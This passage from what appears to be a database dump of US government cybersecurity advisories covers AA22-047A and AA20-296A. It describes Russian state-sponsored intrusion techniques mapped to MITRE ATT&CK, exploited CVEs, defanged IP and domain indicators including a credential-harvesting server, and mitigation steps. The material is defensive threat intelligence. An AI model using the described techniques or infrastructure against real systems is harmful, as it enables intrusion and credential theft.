adversaries.\n\n#### **Establish User Awareness Best Practices**\n\nCyber actors frequently use unsophisticated methods to gain initial access, which can often be mitigated by stronger employee awareness of indicators of malicious activity. The FBI, NSA, and CISA recommend the following best practices to improve employee operational security when conducting business:\n\n * **Provide end user awareness and training. **To help prevent targeted social engineering and spearphishing scams, ensure that employees and stakeholders are aware of potential cyber threats and how they are delivered. Also, provide users with training on information security principles and techniques.\n * **Inform employees of the risks of social engineering attacks,** e.g., risks associated with posting detailed career information to social or professional networking sites.\n * **Ensure that employees are aware of what to do and whom to contact when they see suspicious activity or suspect a cyber intrusion** to help quickly and efficiently identify threats and employ mitigation strategies.\n\n#### **Apply Additional Best Practice Mitigations**\n\n * **Deny atypical inbound activity from known anonymization services, **including commercial VPN services and The Onion Router (TOR).\n * **Impose listing policies for applications and remote access** that only allow systems to execute known and permitted programs under an established security policy.\n * **Identify and create offline backups for critical assets.**\n * **Implement network segmentation.**\n * **Review CISA Alert **[AA20-120A: Microsoft Office 365 Security Recommendations](<https://us-cert.cisa.gov/ncas/alerts/aa20-120a>) for additional recommendations on hardening M365 cloud environments.\n\n### Rewards for Justice Program\n\nIf you have information on state-sponsored Russian cyber operations targeting U.S. critical infrastructure, contact the Department of State\u2019s Rewards for Justice Program. You may be eligible for a reward of up to $10 million, which the Department is offering for information leading to the identification or location of any person who, while acting under the direction or control of a foreign government, participates in malicious cyber activity against U.S. critical infrastructure in violation of the Computer Fraud and Abuse Act (CFAA). Contact (202) 702-7843 on WhatsApp, Signal, or Telegram, or send information via the Rewards for Justice secure Tor-based tips line located on the Dark Web. For more details, refer to [rewardsforjustice.net](<https://rewardsforjustice.net/terrorist-rewards/foreign-malicious-cyber-activity-against-u-s-critical-infrastructure/>).\n\n### Caveats\n\nThe information you have accessed or received is being provided \u201cas is\u201d for informational purposes only. The FBI, NSA, and CISA do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply their endorsement, recommendation, or favoring by the FBI, NSA, or CISA. \n\n### Contact Information\n\nTo report suspicious activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office at [www.fbi.gov/contact-us/field-offices](<https://www.fbi.gov/contact-us/field-offices>) or the FBI\u2019s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by email at [CyWatch@fbi.gov](<mailto:cywatch@fbi.gov>). When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. To request incident response resources or technical assistance related to these threats, contact CISA at [Central@cisa.gov](<mailto:central@cisa.gov>). For NSA client requirements or general cybersecurity inquiries, contact the NSA Cybersecurity Requirements Center at (410) 854-4200 or [Cybersecurity_Requests@nsa.gov](<mailto:Cybersecurity_Requests@nsa.gov>). Defense Industrial Base companies may additionally sign up for NSA\u2019s free cybersecurity services, including Protective DNS, vulnerability scanning, and threat intelligence collaboration at [dib_defense@cyber.nsa.gov](<mailto:dib_defense@cyber.nsa.gov>). \n\n### Appendix: Detailed Tactics, Techniques, and Procedures\n\n#### **Reconnaissance** [[TA0043](<https://attack.mitre.org/tactics/TA0043/>)]\n\nReconnaissance consists of techniques that involve adversaries actively or passively gathering information that can be used to support targeting. The adversary is known for harvesting login credentials [[T1589.001](<https://attack.mitre.org/techniques/T1589/001>)].[[17](<https://attack.mitre.org/groups/G0007>)]\n\nID | **Name** | **Description** \n---|---|--- \nT1589.001 | Gather Victim Identity Information: Credentials | Adversaries may gather credentials that can be used during targeting. \n \n#### **Initial Access **[[TA0001](<https://attack.mitre.org/versions/v10/tactics/TA0001/>)]\n\nInitial Access consists of techniques that use various entry vectors to gain their initial foothold within a network. For example, the adversary may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion [[T1078](<https://attack.mitre.org/techniques/T1078>)].[[18](<https://attack.mitre.org/groups/G0007>)] These specific actors obtained and abused credentials of domain [[T1078.002](<https://attack.mitre.org/techniques/T1078/002>)] and cloud accounts [[T1078.004](<https://attack.mitre.org/techniques/T1078/004>)].[[19](<https://attack.mitre.org/software/S0154/>)] The actors also used external remote services to gain access to systems [[T1133](<https://attack.mitre.org/techniques/T1133>)].[20] The adversary took advantage of weaknesses in internet-facing servers and conducted SQL injection attacks against organizations' external websites [[T1190](<https://attack.mitre.org/techniques/T1190>)].[[21](<https://attack.mitre.org/groups/G0007>)] Finally, they sent spearphishing emails with a malicious link in an attempt to gain access [[T1566.002](<https://attack.mitre.org/techniques/T1566/002>)].[22] \n\n\nID | Name | Description \n---|---|--- \nT1078 | Valid Accounts | Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access. \nT1078.002 | Valid Accounts: Domain Accounts | Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. \nT1078.004 | Valid Accounts: Cloud Accounts | Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. \nT1133 | External Remote Services | Adversaries may leverage external-facing remote services to initially access and/or persist within a network. \nT1190 | Exploit Public-Facing Application | Adversaries may attempt to take advantage of a weakness in an internet-facing computer or program using software, data, or commands in order to cause unintended or unanticipated behavior. \nT1566.002 | Phishing: Spearphishing Link | Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. \n \n#### **Persistence **[[TA0003](<https://attack.mitre.org/tactics/TA0003>)]\n\nPersistence consists of techniques that adversaries use to keep access to systems across restarts, changed credentials, and other interruptions that could cut off their access. The adversary obtains and abuses credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion [[T1078](<https://attack.mitre.org/techniques/T1078>)].[[23](<https://attack.mitre.org/groups/G0007>)] \n\nID | **Name ** | Description \n---|---|--- \nT1078 | Valid Accounts | Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. \n \n#### **Privilege Escalation** [[TA0004](<https://attack.mitre.org/tactics/TA0004>)]\n\nPrivilege Escalation consists of techniques that adversaries use to gain higher-level permissions on a system or network. The adversary obtains and abuses credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion [[T1078](<https://attack.mitre.org/techniques/T1078>)].[[24](<https://attack.mitre.org/groups/G0007>)] Specifically in this case, credentials of cloud accounts [[T1078.004](<https://attack.mitre.org/techniques/T1078/004>)] were obtained and abused.[[25](<https://attack.mitre.org/software/S0154/>)] \n\nID | Name | Description \n---|---|--- \nT1078 | Valid Accounts | Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access. \nT1078.004 | Valid Accounts: Cloud Accounts | Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. \n \n#### **Defense Evasion** [[TA0005](<https://attack.mitre.org/tactics/TA0005>)]\n\nDefense Evasion consists of techniques that adversaries use to avoid detection throughout their compromise. The adversary made its executables and files difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit [[T1027](<https://attack.mitre.org/techniques/T1027>)].[[26](<https://attack.mitre.org/software/S0410/>)] \n\n\nID | Name | Description \n---|---|--- \nT1027 | Obfuscated Files or Information | Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. \n \n#### **Credential Access **[[TA0006](<https://attack.mitre.org/tactics/TA0006>)]\n\nCredential Access consists of techniques for stealing credentials like account names and passwords. The adversary attempted to access or create a copy of the Active Directory (AD) domain database to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights [[T1003.003](<https://attack.mitre.org/techniques/T1003/003>)].[[27](<https://attack.mitre.org/software/S0250/>)] The adversary also used a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials [[T1110.003](<https://attack.mitre.org/techniques/T1110/003>)].[[28](<https://attack.mitre.org/groups/G0007>)] \n\nID | Name | Description \n---|---|--- \nT1003.003 | OS Credential Dumping: NTDS | Adversaries may attempt to access or create a copy of the Active Directory domain database to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. \nT1110.003 | Brute Force: Password Spraying | Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. \n \n#### **Discovery **[[TA0007](<https://attack.mitre.org/tactics/TA0007>)]\n\nDiscovery consists of techniques an adversary may use to gain knowledge about the system and internal network. The adversary enumerated files and directories or searched in specific locations of a host or network share for certain information within a file system [[T1083](<https://attack.mitre.org/techniques/T1083>)].[29] In addition, the adversary attempted to gather information on domain trust relationships that may be used to identify lateral movement opportunities in Windows multi-domain or forest environments [[T1482](<https://attack.mitre.org/techniques/T1482>)].[30] \n\nID | Name | Description \n---|---|--- \nT1083 | File and Directory Discovery | Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. \nT1482 | Domain Trust Discovery | Adversaries may attempt to gather information on domain trust relationships that may be used to identify lateral movement opportunities in Windows multi-domain/forest environments. \n \n**Collection [[TA0009](<https://attack.mitre.org/tactics/TA0009>)]**\n\nCollection consists of both the techniques adversaries may use to gather information and the sources that information is collected from that are relevant to the adversary's objectives. The adversary leverages information repositories, such as SharePoint, to mine valuable information [[T1213.002](<https://attack.mitre.org/techniques/T1213/002>)].[[31](<https://attack.mitre.org/groups/G0007>)] \n\nID | Name | Description \n---|---|--- \nT1213.002 | Data from Information Repositories: SharePoint | Adversaries may leverage the SharePoint repository as a source to mine valuable information. \n \n**Command and Control [[TA0011](<https://attack.mitre.org/tactics/TA0011>)]**\n\nCommand and Control (C2) consists of techniques that adversaries may use to communicate with systems under their control within a victim network. The adversary chained together multiple proxies to disguise the source of malicious traffic. In this case, TOR and VPN servers are used as multi-hop proxies to route C2 traffic and obfuscate their activities [[T1090.003](<https://attack.mitre.org/techniques/T1090/003>)].[[32](<https://attack.mitre.org/groups/G0007>)] \n\n\nID | Name | Description \n---|---|--- \nT1090.003 | Proxy: Multi-hop Proxy | To disguise the source of malicious traffic, adversaries may chain together multiple proxies. \n \n### Additional Resources\n\n[1] NSA, CISA, FBI, NCSC Cybersecurity Advisory: [Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments](<https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF>), 1 July 2021. \n[2] NSA Cybersecurity Advisory: [Mitigating Recent VPN Vulnerabilities](<https://media.defense.gov/2019/Oct/07/2002191601/-1/-1/0/CSA-MITIGATING-RECENT-VPN-VULNERABILITIES.PDF>), 7 October 2019. \n[3] NSA, CISA, FBI, NCSC Cybersecurity Advisory: [Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments](<https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF>), 1 July 2021. \n[4] Microsoft Article: [AD Forest Recovery \u2013 Resetting the krbtgt password](<https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/manage/ad-forest-recovery-resetting-the-krbtgt-password>), 29 July 2021. \n[5] Microsoft GitHub: [New-KrbtgtKeys.ps1](<https://github.com/microsoft/New-KrbtgtKeys.ps1>), 14 May 2020. \n[6] NSA Cybersecurity Information: [Defend Privileges and Accounts](<https://media.defense.gov/2019/Sep/09/2002180330/-1/-1/0/Defend Privileges and Accounts - Copy.pdf>), August 2019. \n[7] Microsoft Article: [Group Managed Service Accounts Overview](<https://docs.microsoft.com/en-us/windows-server/security/group-managed-service-accounts/group-managed-service-accounts-overview>), 29 July 2021. \n[8] NSA Cybersecurity Information: [Leverage Modern Hardware Security Features](<https://media.defense.gov/2019/Sep/09/2002180345/-1/-1/0/Leverage Modern Hardware Security Features - Copy.pdf>), August 2019. \n[9] Microsoft Article: [Protect derived domain credentials with Windows Defender Credential Guard](<https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard>), 3 December 2021. \n[10] Microsoft Article: [Windows Defender Credential Guard protection limits](<https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-protection-limits>), 3 December 2021. \n[11] Microsoft Article: [Windows 11 requirements](<https://docs.microsoft.com/en-us/windows/whats-new/windows-11-requirements>), 30 November 2021. \n[12] Microsoft Blog Post: [The Importance of KB2871997 and KB2928120 for Credential Protection](<https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/the-importnace-of-kb2871997-and-kb2928120-for-credential/ba-p/258478>), 20 September 2021. \n[13] Microsoft Article: [What\u2019s New in Credential Protection](<https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/whats-new-in-credential-protection>), 7 January 2022. \n[14] NSA Cybersecurity Factsheet: [PowerShell: Security Risks and Defenses](<https://www.iad.gov/iad/library/ia-guidance/security-tips/powershell-security-risks-and-defenses.cfm>), 1 December 2016. \n[15] NSA Cybersecurity Information: [Update and Upgrade Software Immediately](<https://media.defense.gov/2019/Sep/09/2002180319/-1/-1/0/Update and Upgrade Software Immediately.docx - Copy.pdf>), August 2019. \n[16] NSA Cybersecurity Information: [Actively Manage Systems and Configurations](<https://media.defense.gov/2019/Sep/09/2002180326/-1/-1/0/Actively Manage Systems and Configurations.docx - Copy.pdf>), August 2019. \n[17] MITRE Groups: [APT28](<https://attack.mitre.org/groups/G0007>), 18 October 2021. \n[18] MITRE Groups: [APT28](<https://attack.mitre.org/groups/G0007>), 18 October 2021. \n[19] MITRE Software: [Cobalt Strike](<https://attack.mitre.org/software/S0154/>), 18 October 2021. \n[20] Based on technical information shared by Mandiant. \n[21] MITRE Groups: [APT28](<https://attack.mitre.org/groups/G0007>), 18 October 2021. \n[22] Based on technical information shared by Mandiant. \n[23] MITRE Groups: [APT28](<https://attack.mitre.org/groups/G0007>), 18 October 2021. \n[24] MITRE Groups: [APT28](<https://attack.mitre.org/groups/G0007>), 18 October 2021. \n[25] MITRE Software: [Cobalt Strike](<https://attack.mitre.org/software/S0154/>), 18 October 2021. \n[26] MITRE Software: [Fysbis](<https://attack.mitre.org/software/S0410/>), 6 November 2020. \n[27] MITRE Software: [Koadic](<https://attack.mitre.org/software/S0250/>), 30 March 2020. \n[28] MITRE Groups: [APT28](<https://attack.mitre.org/groups/G0007>), 18 October 2021. \n[29] Based on technical information shared by Mandiant. \n[30] Based on technical information shared by Mandiant. \n[31] MITRE Groups: [APT28](<https://attack.mitre.org/groups/G0007>), 18 October 2021. \n[32] MITRE Groups: [APT28](<https://attack.mitre.org/groups/G0007>), 18 October 2021.\n\n### Revisions\n\nFebruary 16, 2022: Initial Version\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-02-16T12:00:00", "type": "ics", "title": "Russian State-Sponsored Cyber Actors Target Cleared Defense Contractor Networks to Obtain Sensitive U.S. Defense Information and Technology", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2020-0688", "CVE-2020-17144"], "modified": "2022-02-16T12:00:00", "id": "AA22-047A", "href": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-047a", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2023-03-14T18:33:59", "description": "### Summary\n\n_This joint cybersecurity advisory uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&amp;CK\u00ae) framework. See the [ATT&amp;CK for Enterprise](<https://attack.mitre.org/versions/v7/>) framework for all referenced threat actor tactics and techniques _\n\nThis joint cybersecurity advisory\u2014written by the Federal Bureau of Investigation (FBI) and the Cybersecurity and Infrastructure Security Agency (CISA)\u2014provides information on Russian state-sponsored advanced persistent threat (APT) actor activity targeting various U.S. state, local, territorial, and tribal (SLTT) government networks, as well as aviation networks. This advisory updates joint CISA-FBI cybersecurity advisory [AA20-283A: APT Actors Chaining Vulnerabilities Against SLTT, Critical Infrastructure, and Elections Organizations](<https://us-cert.cisa.gov/ncas/alerts/aa20-283a>).\n\nSince at least September 2020, a Russian state-sponsored APT actor\u2014known variously as Berserk Bear, Energetic Bear, TeamSpy, Dragonfly, Havex, Crouching Yeti, and Koala in open-source reporting\u2014has conducted a campaign against a wide variety of U.S. targets. The Russian state-sponsored APT actor has targeted dozens of SLTT government and aviation networks, attempted intrusions at several SLTT organizations, successfully compromised network infrastructure, and as of October 1, 2020, exfiltrated data from at least two victim servers.\n\nThe Russian-sponsored APT actor is obtaining user and administrator credentials to establish initial access, enable lateral movement once inside the network, and locate high value assets in order to exfiltrate data. In at least one compromise, the APT actor laterally traversed an SLTT victim network and accessed documents related to:\n\n * Sensitive network configurations and passwords.\n * Standard operating procedures (SOP), such as enrolling in multi-factor authentication (MFA).\n * IT instructions, such as requesting password resets.\n * Vendors and purchasing information.\n * Printing access badges.\n\nTo date, the FBI and CISA have no information to indicate this APT actor has intentionally disrupted any aviation, education, elections, or government operations. However, the actor may be seeking access to obtain future disruption options, to influence U.S. policies and actions, or to delegitimize SLTT government entities.\n\nAs this recent malicious activity has been directed at SLTT government networks, there may be some risk to elections information housed on SLTT government networks. However, the FBI and CISA have no evidence to date that integrity of elections data has been compromised. Due to the heightened awareness surrounding elections infrastructure and the targeting of SLTT government networks, the FBI and CISA will continue to monitor this activity and its proximity to elections infrastructure.\n\n * Click here for a PDF version of this report.\n * Click here for a STIX package of IOCs.\n\n#### U.S. Heat Map of Activity\n\n[Click here](<https://indd.adobe.com/view/64463245-3411-49f9-b203-1c7cb8f16769>) for an interactive heat map of this activity (current as of November 17, 2020). Hovering the cursor over the map reveals the number and type of entities the Russian APT has targeted in each region. These totals include compromises, scanning, or other reconnaissance activity executed from the Russian APT actor infrastructure.\n\n**Note**: CISA is committed to providing access to our web pages and documents for individuals with disabilities, both members of the public and federal employees. If the format of any elements or content within this document interferes with your ability to access the information, as defined in the Rehabilitation Act, please email [info@us-cert.gov](<mailto: info@us-cert.gov>). To enable us to respond in a manner most helpful to you, please indicate the nature of your accessibility problem and the preferred format in which to receive the material.\n\n**Note**: the heat map has interactive features that may not work in your web browser. For best use, please download and save this catalog.\n\n### Technical Details\n\nThe FBI and CISA have observed Russian state-sponsored APT actor activity targeting U.S. SLTT government networks, as well as aviation networks. The APT actor is using Turkish IP addresses `213.74.101[.]65`, `213.74.139[.]196`, and `212.252.30[.]170` to connect to victim web servers (_Exploit Public Facing Application_ [[T1190](<https://attack.mitre.org/versions/v7/techniques/T1190/>)]).\n\nThe actor is using `213.74.101[.]65` and `213.74.139[.]196` to attempt brute force logins and, in several instances, attempted Structured Query Language (SQL) injections on victim websites (_Brute Force_ [[T1110](<https://attack.mitre.org/versions/v7/techniques/T1110>)]; _Exploit Public Facing Application_ [[T1190](<https://attack.mitre.org/versions/v7/techniques/T1190/>)]). The APT actor also hosted malicious domains, including possible aviation sector target `columbusairports.microsoftonline[.]host`, which resolved to `108.177.235[.]92` and `[cityname].westus2.cloudapp.azure.com`; these domains are U.S. registered and are likely SLTT government targets (_Drive-By Compromise _[[T1189](<https://attack.mitre.org/versions/v7/techniques/T1189>)]).\n\nThe APT actor scanned for vulnerable Citrix and Microsoft Exchange services and identified vulnerable systems, likely for future exploitation. This actor continues to exploit a Citrix Directory Traversal Bug ([CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>)) and a Microsoft Exchange remote code execution flaw ([CVE-2020-0688](<https://nvd.nist.gov/vuln/detail/CVE-2020-0688>)).\n\nThe APT actor has been observed using Cisco AnyConnect Secure Socket Layer (SSL) virtual private network (VPN) connections to enable remote logins on at least one victim network, possibly enabled by an Exim Simple Mail Transfer Protocol (SMTP) vulnerability ([CVE 2019-10149](<https://nvd.nist.gov/vuln/detail/CVE-2019-10149>)) (_External Remote Services_ [[T1133](<https://attack.mitre.org/versions/v7/techniques/T1133>)]). More recently, the APT actor enumerated and exploited a Fortinet VPN vulnerability ([CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>)) for Initial Access [[TA0001](<https://attack.mitre.org/versions/v7/tactics/TA0001/>)] and a Windows Netlogon vulnerability ([CVE-2020-1472](<https://nvd.nist.gov/vuln/detail/CVE-2020-1472>)) to obtain access to Windows Active Directory (AD) servers for Privilege Escalation [[TA0004](<https://attack.mitre.org/versions/v7/tactics/TA0004/>)] within the network (_Valid Accounts_ [[T1078](<https://attack.mitre.org/versions/v7/techniques/T1078>)]). These vulnerabilities can also be leveraged to compromise other devices on the network (_Lateral Movement_ [[TA0008](<https://attack.mitre.org/versions/v7/tactics/TA0008/>)]) and to maintain _Persistence_ [[TA0003](<https://attack.mitre.org/versions/v7/tactics/TA0003/>)]).\n\nBetween early February and mid-September, these APT actors used `213.74.101[.]65`, `212.252.30[.]170`, `5.196.167[.]184`, `37.139.7[.]16`, `149.56.20[.]55`, `91.227.68[.]97`, and `5.45.119[.]124` to target U.S. SLTT government networks. Successful authentications\u2014including the compromise of Microsoft Office 365 (O365) accounts\u2014have been observed on at least one victim network (_Valid Accounts_ [[T1078](<https://attack.mitre.org/versions/v7/techniques/T1078>)]).\n\n### Mitigations\n\n#### Indicators of Compromise\n\nThe APT actor used the following IP addresses and domains to carry out its objectives:\n\n * `213.74.101[.]65`\n * `213.74.139[.]196`\n * `212.252.30[.]170`\n * `5.196.167[.]184`\n * `37.139.7[.]16`\n * `149.56.20[.]55`\n * `91.227.68[.]97`\n * `138.201.186[.]43`\n * `5.45.119[.]124`\n * `193.37.212[.]43`\n * `146.0.77[.]60`\n * `51.159.28[.]101`\n * `columbusairports.microsoftonline[.]host`\n * `microsoftonline[.]host`\n * `email.microsoftonline[.]services`\n * `microsoftonline[.]services`\n * `cityname[.]westus2.cloudapp.azure.com`\n\nIP address `51.159.28[.]101` appears to have been configured to receive stolen Windows New Technology Local Area Network Manager (NTLM) credentials. FBI and CISA recommend organizations take defensive actions to mitigate the risk of leaking NTLM credentials; specifically, organizations should disable NTLM or restrict outgoing NTLM. Organizations should consider blocking IP address `51.159.28[.]101` (although this action alone may not mitigate the threat, as the APT actor has likely established, or will establish, additional infrastructure points).\n\nOrganizations should check available logs for traffic to/from IP address `51.159.28[.]101` for indications of credential-harvesting activity. As the APT actors likely have\u2014or will\u2014establish additional infrastructure points, organizations should also monitor for Server Message Block (SMB) or WebDAV activity leaving the network to other IP addresses.\n\nRefer to AA20-296A.stix for a downloadable copy of IOCs.\n\n#### Network Defense-in-Depth\n\nProper network defense-in-depth and adherence to information security best practices can assist in mitigating the threat and reducing the risk to critical infrastructure. The following guidance may assist organizations in developing network defense procedures.\n\n * Keep all applications updated according to vendor recommendations, and especially prioritize updates for external facing applications and remote access services to address CVE-2019-19781, CVE-2020-0688, CVE 2019-10149, CVE-2018-13379, and CVE-2020-1472. Refer to table 1 for patch information on these CVEs.\n\n_Table 1: Patch information for CVEs_\n\n**Vulnerability** | **Vulnerable Products** | **Patch Information** \n---|---|--- \n[CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>) | \n\n * Citrix Application Delivery Controller\n * Citrix Gateway\n * Citrix SDWAN WANOP\n\n| \n\n[Citrix blog post: firmware updates for Citrix ADC and Citrix Gateway versions 11.1 and 12.0](<https://www.citrix.com/blogs/2020/01/19/vulnerability-update-first-permanent-fixes-available-timeline-accelerated/>)\n\n[Citrix blog post: security updates for Citrix SD-WAN WANOP release 10.2.6 and 11.0.3](<https://www.citrix.com/blogs/2020/01/22/update-on-cve-2019-19781-fixes-now-available-for-citrix-sd-wan-wanop/>)\n\n[Citrix blog post: firmware updates for Citrix ADC and Citrix Gateway versions 12.1 and 13.0](<https://www.citrix.com/blogs/2020/01/23/fixes-now-available-for-citrix-adc-citrix-gateway-versions-12-1-and-13-0/>)\n\n[Citrix blog post: firmware updates for Citrix ADC and Citrix Gateway version 10.5](<https://www.citrix.com/blogs/2020/01/24/citrix-releases-final-fixes-for-cve-2019-19781/>) \n \n[CVE-2020-0688](<https://nvd.nist.gov/vuln/detail/CVE-2020-0688>) | \n\n * Microsoft Exchange Server 2010 Service Pack 3 Update Rollup 30\n * Microsoft Exchange Server 2013 Cumulative Update 23\n * Microsoft Exchange Server 2016 Cumulative Update 14\n * Microsoft Exchange Server 2016 Cumulative Update 15\n * Microsoft Exchange Server 2019 Cumulative Update 3\n * Microsoft Exchange Server 2019 Cumulative Update 4\n\n| [Microsoft Security Advisory for CVE-2020-0688](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688>) \n[CVE-2019-10149](<https://nvd.nist.gov/vuln/detail/CVE-2019-10149>) | \n\n * Exim versions 4.87\u20134.91\n| [Exim page for CVE-2019-10149](<https://www.exim.org/static/doc/security/CVE-2019-10149.txt>) \n[CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>) | \n\n * FortiOS 6.0: 6.0.0 to 6.0.4\n * FortiOS 5.6: 5.6.3 to 5.6.7\n * FortiOS 5.4: 5.4.6 to 5.4.12\n| [Fortinet Security Advisory: FG-IR-18-384](<https://www.fortiguard.com/psirt/FG-IR-18-384>) \n[CVE-2020-1472](<https://nvd.nist.gov/vuln/detail/CVE-2020-1472>) | \n\n * Windows Server 2008 R2 for x64-based Systems Service Pack 1\n * Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)\n * Windows Server 2012\n * Windows Server 2012 (Server Core installation)\n * Windows Server 2012 R2\n * Windows Server 2016\n * Windows Server 2019\n * Windows Server 2019 (Server Core installation)\n * Windows Server, version 1903 (Server Core installation)\n * Windows Server, version 1909 (Server Core installation)\n * Windows Server, version 2004 (Server Core installation)\n| \n\n[Microsoft Security Advisory for CVE-2020-1472](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472>) \n \n * Follow Microsoft\u2019s [guidance](<https://support.microsoft.com/en-us/help/4557222/how-to-manage-the-changes-in-netlogon-secure-channel-connections-assoc>) on monitoring logs for activity related to the Netlogon vulnerability, CVE-2020-1472.\n * If appropriate for your organization\u2019s network, prevent external communication of all versions of SMB and related protocols at the network boundary by blocking Transmission Control Protocol (TCP) ports 139 and 445 and User Datagram Protocol (UDP) port 137. See the CISA publication on [SMB Security Best Practices](<https://us-cert.cisa.gov/ncas/current-activity/2017/01/16/SMB-Security-Best-Practices>) for more information.\n * Implement the prevention, detection, and mitigation strategies outlined in: \n * CISA Alert [TA15-314A \u2013 Compromised Web Servers and Web Shells \u2013 Threat Awareness and Guidance](<https://us-cert.cisa.gov/ncas/alerts/TA15-314A>).\n * National Security Agency Cybersecurity Information Sheet [U/OO/134094-20 \u2013 Detect and Prevent Web Shells Malware](<https://www.nsa.gov/News-Features/News-Stories/Article-View/Article/2159419/detect-prevent-cyber-attackers-from-exploiting-web-servers-via-web-shell-malware/>).\n * Isolate external facing services in a network demilitarized zone (DMZ) since they are more exposed to malicious activity; enable robust logging, and monitor the logs for signs of compromise.\n * Establish a training mechanism to inform end users on proper email and web usage, highlighting current information and analysis and including common indicators of phishing. End users should have clear instructions on how to report unusual or suspicious emails.\n * Implement application controls to only allow execution from specified application directories. System administrators may implement this through Microsoft Software Restriction Policy, AppLocker, or similar software. Safe defaults allow applications to run from `PROGRAMFILES`, `PROGRAMFILES(X86)`, and `WINDOWS` folders. All other locations should be disallowed unless an exception is granted.\n * Block Remote Desktop Protocol (RDP) connections originating from untrusted external addresses unless an exception exists; routinely review exceptions on a regular basis for validity.\n\n#### Comprehensive Account Resets\n\nFor accounts where NTLM password hashes or Kerberos tickets may have been compromised (e.g., through CVE-2020-1472), a double-password-reset may be required in order to prevent continued exploitation of those accounts. For domain-admin-level credentials, a reset of KRB-TGT \u201cGolden Tickets\u201d may be required, and Microsoft has released specialized [guidance](<https://docs.microsoft.com/en-us/azure-advanced-threat-protection/domain-dominance-alerts>) for this. Such a reset should be performed very carefully if needed.\n\nIf there is an observation of [CVE-2020-1472](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472>) Netlogon activity or other indications of valid credential abuse, it should be assumed the APT actors have compromised AD administrative accounts. In such cases, the AD forest should not be fully trusted, and, therefore, a new forest should be deployed. Existing hosts from the old compromised forest cannot be migrated in without being rebuilt and rejoined to the new domain, but migration may be done through \u201ccreative destruction,\u201d wherein, as endpoints in the legacy forest are decommissioned, new ones can be built in the new forest. This will need to be completed in on-premise\u2014as well as in Azure-hosted\u2014AD instances.\n\nNote that fully resetting an AD forest is difficult and complex; it is best done with the assistance of personnel who have successfully completed the task previously.\n\nIt is critical to perform a full password reset on all user and computer accounts in the AD forest. Use the following steps as a guide.\n\n 1. Create a temporary administrator account, and use this account only for all administrative actions\n 2. Reset the Kerberos Ticket Granting Ticket `(krbtgt`) 